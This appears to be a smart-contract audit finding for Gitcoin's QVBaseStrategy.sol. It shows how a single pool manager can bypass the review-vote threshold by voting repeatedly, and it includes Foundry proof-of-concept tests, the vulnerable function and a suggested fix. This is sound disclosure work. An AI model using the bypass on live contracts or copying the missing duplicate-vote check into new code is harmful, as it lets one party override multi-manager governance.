Tame Grey Wombat

high

# Bypass reviewThreshold check in QVBaseStrategy.sol
The `reviewThreshold` is the number of votes required to review a recipient status. There is no check that `Pool Manager` has already voted to change status. If strategy have two `Pool Managers` and `reviewThreshold` is equal 2, than two different managers must vote, but one manager can vote twice and change recipient status. 
## Vulnerability Detail
To change user status, `Pool Manager` must call `reviewRecipients`. The status changes if the required number of votes is collected. But attacker call function `reviewRecipients` several times (`test_reviewRecipientsWithTheSamePoolManager_1`) or attacker can pass the same recipient several times in array(`test_reviewRecipientsWithTheSamePoolManager_2`).
Proof of Concept(Add this tests to `test/foundry/strategies/QVBaseStrategy.t.sol`):
```solidity
    function test_reviewRecipientsWithTheSamePoolManager_1() public {
        address recipientId = __register_recipient();

        address[] memory recipientIds = new address[](2);
        recipientIds[0] = recipientId;
        recipientIds[1] = recipientId;
        IStrategy.Status[] memory Statuses = new IStrategy.Status[](2);
        Statuses[0] = IStrategy.Status.Rejected;
        Statuses[1] = IStrategy.Status.Rejected;

        vm.startPrank(pool_manager1());
        qvStrategy().reviewRecipients(recipientIds, Statuses);

        QVBaseStrategy.Recipient memory recipient = qvStrategy().getRecipient(recipientId);
        assertEq(uint8(IStrategy.Status.Rejected), uint8(recipient.recipientStatus));
    }

   function test_reviewRecipientsWithTheSamePoolManager_2() public {
        address recipientId = __register_recipient();

        address[] memory recipientIds = new address[](1);
        recipientIds[0] = recipientId;
        IStrategy.Status[] memory Statuses = new IStrategy.Status[](1);
        Statuses[0] = IStrategy.Status.Rejected;

        vm.startPrank(pool_manager1());
        qvStrategy().reviewRecipients(recipientIds, Statuses);

        vm.expectEmit(true, false, false, false);
        emit RecipientStatusUpdated(recipientId, IStrategy.Status.Rejected, pool_admin());

        qvStrategy().reviewRecipients(recipientIds, Statuses);

        QVBaseStrategy.Recipient memory recipient = qvStrategy().getRecipient(recipientId);
        assertEq(uint8(IStrategy.Status.Rejected), uint8(recipient.recipientStatus));
    }
```
## Impact
The manager can change the user's status without the participation of other pool managers. 
## Code Snippet
https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254
```solidit
function reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)
        external
        virtual
        onlyPoolManager(msg.sender)
        onlyActiveRegistration
    {
        // make sure the arrays are the same length
        uint256 recipientLength = _recipientIds.length;
        if (recipientLength != _recipientStatuses.length) revert INVALID();

        for (uint256 i; i < recipientLength;) {
            Status recipientStatus = _recipientStatuses[i];
            address recipientId = _recipientIds[i];

            // if the status is none or appealed then revert
            if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {
                revert RECIPIENT_ERROR(recipientId);
            }

            reviewsByStatus[recipientId][recipientStatus]++;

            if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {
                Recipient storage recipient = recipients[recipientId];
                recipient.recipientStatus = recipientStatus;

                emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));
            }

            emit Reviewed(recipientId, recipientStatus, msg.sender);

            unchecked {
                ++i;
            }
        }
    }
```
## Tool used

Manual Review

## Recommendation
It is recommended to save that the pool manager has already voted to change the status and check whether he does it again. 